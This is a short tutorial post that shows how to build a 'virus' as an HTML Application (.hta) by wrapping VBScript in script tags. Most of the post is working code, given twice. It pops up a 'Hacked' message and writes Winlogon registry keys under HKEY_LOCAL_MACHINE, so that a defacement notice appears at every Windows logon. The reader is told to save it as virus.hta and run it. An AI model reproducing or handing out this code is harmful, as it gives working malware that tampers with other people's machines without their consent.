HTML Application Malware

Creating a virus is not limited to use in *.EXE, *.BAT, *.VBS or course. Turns out there other extensions that can be utilized to create a virus, namely *.hta or HTML Application.

Basically how to make a virus with this extension similar to VBScript, it only takes two lines of code that is placed at the beginning and end of a line on the body of the virus

Examples using VBS

Dim regkey Set regkey = CreateObject("Wscript.Shell") MsgBox "Hacked...!!!", vbCritical, "Warning" regkey.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText", "z0y4 was here" regkey.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Warning" self.close

If using hta it will be like this

<script type="text/vbscript"> Dim regkey Set regkey = CreateObject("Wscript.Shell") MsgBox "Hacked...!!!", vbCritical, "Warning" regkey.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText", "z0y4 was here" regkey.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Warning" self.close </script>

Save the above code with extension *. hta, for example virus.hta then open the file.
the point is to add code <script type="text/vbscript"> front of the line and </script> at the end of the line.
Hopefully useful!
